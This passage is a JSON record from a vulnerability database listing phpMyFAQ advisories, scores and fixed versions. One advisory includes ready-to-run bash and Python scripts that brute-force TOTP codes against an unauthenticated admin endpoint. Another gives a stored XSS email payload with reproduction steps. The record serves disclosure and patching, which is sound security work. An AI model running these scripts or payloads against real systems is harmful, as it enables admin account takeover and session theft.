                            "scoring_elements": "0.30296",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00119",
                            "scoring_system": "epss",
                            "scoring_elements": "0.30327",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00119",
                            "scoring_system": "epss",
                            "scoring_elements": "0.30356",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00119",
                            "scoring_system": "epss",
                            "scoring_elements": "0.30391",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-62519"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.2",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/compare/4.0.13...4.0.14",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.2",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-11-17T16:59:03Z/"
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/compare/4.0.13...4.0.14"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62519",
                    "reference_id": "CVE-2025-62519",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.2",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62519"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-fxm2-cmwj-qvx4",
                    "reference_id": "GHSA-fxm2-cmwj-qvx4",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-fxm2-cmwj-qvx4"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-fxm2-cmwj-qvx4",
                    "reference_id": "GHSA-fxm2-cmwj-qvx4",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.2",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-11-17T16:59:03Z/"
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-fxm2-cmwj-qvx4"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/71425?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.0.14",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2w3p-tar6-8qgk"
                        },
                        {
                            "vulnerability": "VCID-522f-tfh9-juea"
                        },
                        {
                            "vulnerability": "VCID-7um9-fk42-wqbs"
                        },
                        {
                            "vulnerability": "VCID-8frb-zq9k-zqac"
                        },
                        {
                            "vulnerability": "VCID-g5vv-tya3-wkft"
                        },
                        {
                            "vulnerability": "VCID-ghg9-s21m-jqe6"
                        },
                        {
                            "vulnerability": "VCID-gnta-ej6g-g7fp"
                        },
                        {
                            "vulnerability": "VCID-mgy2-jjae-4qds"
                        },
                        {
                            "vulnerability": "VCID-nbs3-9fx9-p7en"
                        },
                        {
                            "vulnerability": "VCID-nvb4-mht6-8kdn"
                        },
                        {
                            "vulnerability": "VCID-p8pd-8q9q-1kad"
                        },
                        {
                            "vulnerability": "VCID-qqc4-rvtj-97h5"
                        },
                        {
                            "vulnerability": "VCID-rtvb-fx4h-13h5"
                        },
                        {
                            "vulnerability": "VCID-ssn9-ur4w-q3g1"
                        },
                        {
                            "vulnerability": "VCID-t65b-87xm-cbaj"
                        },
                        {
                            "vulnerability": "VCID-xenm-bpfy-w3f9"
                        },
                        {
                            "vulnerability": "VCID-ytay-2436-eubu"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.0.14"
                }
            ],
            "aliases": [
                "CVE-2025-62519",
                "GHSA-fxm2-cmwj-qvx4"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-wdjb-zkn8-vugf"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/94962?format=api",
            "vulnerability_id": "VCID-xenm-bpfy-w3f9",
            "summary": "phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id\n## Summary\n\nThe `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=<value>`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.\n\n## Details\n\n**File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228.\n\nThe controller class declaration:\n\n```php\nfinal class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck\n```\n\nThe `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session.\n\nThe `check` action (line 201-228):\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this->currentUser->isLoggedIn()) {\n        return new RedirectResponse(url: './');\n    }\n\n    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n    $user = $this->currentUserService;\n    $user->getUserById($userId);\n\n    if (strlen((string) $token) === 6) {\n        $tfa = $this->twoFactor;\n        $result = $tfa->validateToken($token, $userId);\n\n        if ($result) {\n            $user->twoFactorSuccess();\n            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());\n            return new RedirectResponse(url: './');\n        }\n\n        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());\n    }\n\n    return new RedirectResponse('./token?user-id=' . $userId);\n}\n```\n\nProblems:\n\n1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user.\n2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock.\n3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement.\n\nThe normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly.\n\n## Proof of Concept\n\n```bash\n# Step 1: Identify target user ID (admin is typically user_id=1)\nTARGET_HOST=\"http://target.example\"\nUSER_ID=1\n\n# Step 2: Brute-force the 6-digit TOTP code\n# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.\n# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.\n\nfor code in $(seq -w 000000 999999); do\n  RESPONSE=$(curl -s -o /dev/null -w \"%{http_code}:%{redirect_url}\" \\\n    -X POST \"${TARGET_HOST}/admin/check\" \\\n    -d \"token=${code}&user-id=${USER_ID}\")\n\n  # A successful 2FA grants a session and redirects to ./\n  # A failure redirects to ./token?user-id=1\n  if echo \"$RESPONSE\" | grep -qv \"token?user-id=\"; then\n    echo \"[+] Valid TOTP: ${code}\"\n    break\n  fi\ndone\n```\n\n```python\n# Faster parallel version\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://target.example/admin/check\"\nUSER_ID = 1\n\ndef try_code(code):\n    r = requests.post(TARGET, data={\"token\": f\"{code:06d}\", \"user-id\": USER_ID}, allow_redirects=False)\n    location = r.headers.get(\"Location\", \"\")\n    if \"token?user-id=\" not in location:\n        return code\n    return None\n\nwith ThreadPoolExecutor(max_workers=50) as pool:\n    for result in pool.map(try_code, range(1000000)):\n        if result is not None:\n            print(f\"[+] Valid TOTP: {result:06d}\")\n            break\n```\n\n## Impact\n\nBob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.\n\n**CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1)\n**CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts)\n\n## Recommended Fix\n\n1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts.\n\n2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.\n\n3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.\n\nExample session-binding fix in `check()`:\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n    // Require that the session proves password auth for this specific user\n    if ($this->session->get('2fa_pending_user_id') !== $userId) {\n        return new RedirectResponse(url: './login');\n    }\n\n    // ... existing TOTP validation ...\n}\n```\n\nAnd in `authenticate()`, after successful password check:\n\n```php\n$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-9pq7-mfwh-xx2j",
                    "reference_id": "GHSA-9pq7-mfwh-xx2j",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-9pq7-mfwh-xx2j"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-9pq7-mfwh-xx2j"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-xenm-bpfy-w3f9"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/91003?format=api",
            "vulnerability_id": "VCID-ytay-2436-eubu",
            "summary": "phpMyFAQ is Vulnerable to Stored XSS via Unsanitized Email Field in Admin FAQ Editor\n### Summary\nAn unauthenticated attacker can submit a guest FAQ with an email address that is syntactically valid per RFC 5321 (quoted local part) yet contains raw HTML — for example \"<script>alert(1)</script>\"@evil.com. PHP's FILTER_VALIDATE_EMAIL accepts this email as valid. The email is stored in the database without HTML sanitization and later rendered in the admin FAQ editor template using Twig's |raw filter, which bypasses auto-escaping entirely.\n\n### Details\n1. PHP FILTER_VALIDATE_EMAIL accepts RFC-valid quoted local parts with dangerous characters\n\nphpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php:99\n$email = trim((string) Filter::filterVar($data->email, FILTER_VALIDATE_EMAIL));\nPHP accepts \"<script>alert(1)</script>\"@evil.com as a valid email (RFC 5321 allows <, > inside quoted local parts). Confirmed:\n\"<script>alert(1)</script>\"@evil.com => string (valid, not false)\n\n2. Email stored raw without HTML sanitization\n\nphpmyfaq/src/phpMyFAQ/Faq.php — email retrieved directly as $row->email from the database.\n\n3. Admin Twig template renders email with |raw\n\nphpmyfaq/assets/templates/admin/content/faq.editor.twig:296\n<input type=\"email\" name=\"email\" id=\"email\" value=\"{{ faqData['email'] | raw }}\" class=\"form-control\">\n\nAffected version: 4.2.0-alpha, commit f0dc86c8f\n\n\n### PoC\n**The reproduction of the vulnerability was implemented with the help of AI while reviewing the source code to generate the proof-of-concept. Please kindly note this for reference. Since the vulnerability has already been confirmed directly in the source code, the proof-of-concept code may be considered as a reference only.**\n\nPlease extract the attached compressed file and proceed.\n[poc.zip](https://github.com/user-attachments/files/25938058/poc.zip)\n\n\n0. (docker compose -f docker-compose.yml down -v)\n1. docker compose -f docker-compose.yml up -d mariadb php-fpm nginx\n2. bash exploit.sh\n-----\n1. Access http://localhost:8888/admin/\n2. Log in with admin / Admin1234!\n3. After logging in, check whether the URL remains http://localhost:8888/admin/\n4. Go to Content → FAQ Administration → edit \"poc\" → alert popup should appear\nIf it does not appear, you can also access it directly via:\nhttp://localhost:8888/admin/faq/edit/1/en\n\n\n<img width=\"1388\" height=\"239\" alt=\"스크린샷 2026-03-12 오후 11 42 52\" src=\"https://github.com/user-attachments/assets/b6d5446f-4eba-4cb2-9284-1bca4855142e\" />\n<img width=\"1171\" height=\"92\" alt=\"스크린샷 2026-03-12 오후 11 16 17\" src=\"https://github.com/user-attachments/assets/3578e429-7106-4616-92ed-4167816d40f0\" />\n\n\n### Impact\nWhen an administrator opens /admin/faq/edit/{id}/{lang} to review the pending FAQ, the injected script executes in the admin's browser context. This allows an attacker to:\n\n- Steal the administrator's session cookie → full admin account takeover\n- Perform arbitrary admin actions (create users, modify content, change configuration)\n- Pivot to further attacks on the server\n\nThe attack chain requires no authentication. By default, records.allowNewFaqsForGuests=true allows unauthenticated FAQ submission, and records.defaultActivation=false guarantees the administrator must visit the edit page to review it.\n\nNote on captcha: The built-in captcha is enabled by default when the PHP gd extension is present (spam.enableCaptchaCode=true). This prevents fully automated exploitation but does not prevent a targeted manual attack — an attacker can solve the captcha once and submit the payload. \n\n### Credits\nwooseokdotkim",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32629",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00229",
                            "scoring_system": "epss",
                            "scoring_elements": "0.45793",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00229",
                            "scoring_system": "epss",
                            "scoring_elements": "0.45819",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00229",
                            "scoring_system": "epss",
                            "scoring_elements": "0.4584",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00229",
                            "scoring_system": "epss",
                            "scoring_elements": "0.45836",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32629"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-98gw-w575-h2ph",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-98gw-w575-h2ph"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32629",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32629"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-98gw-w575-h2ph",
                    "reference_id": "GHSA-98gw-w575-h2ph",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-98gw-w575-h2ph"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/110180?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.1",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2w3p-tar6-8qgk"
                        },
                        {
                            "vulnerability": "VCID-522f-tfh9-juea"
                        },
                        {
                            "vulnerability": "VCID-7um9-fk42-wqbs"
                        },
                        {
                            "vulnerability": "VCID-ghg9-s21m-jqe6"
                        },
                        {
                            "vulnerability": "VCID-kjwz-5bu7-q7cy"
                        },
                        {
                            "vulnerability": "VCID-mgy2-jjae-4qds"
                        },
                        {
                            "vulnerability": "VCID-nbs3-9fx9-p7en"
                        },
                        {
                            "vulnerability": "VCID-p8pd-8q9q-1kad"
                        },
                        {
                            "vulnerability": "VCID-qqc4-rvtj-97h5"
                        },
                        {
                            "vulnerability": "VCID-r378-d5zh-t7aw"
                        },
                        {
                            "vulnerability": "VCID-rtvb-fx4h-13h5"
                        },
                        {
                            "vulnerability": "VCID-t65b-87xm-cbaj"
                        },
                        {
                            "vulnerability": "VCID-xenm-bpfy-w3f9"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.1"
                }
            ],
            "aliases": [
                "CVE-2026-32629",
                "GHSA-98gw-w575-h2ph"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ytay-2436-eubu"
        }
    ],
    "fixing_vulnerabilities": [],
    "risk_score": "10.0",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@3.2.7"
}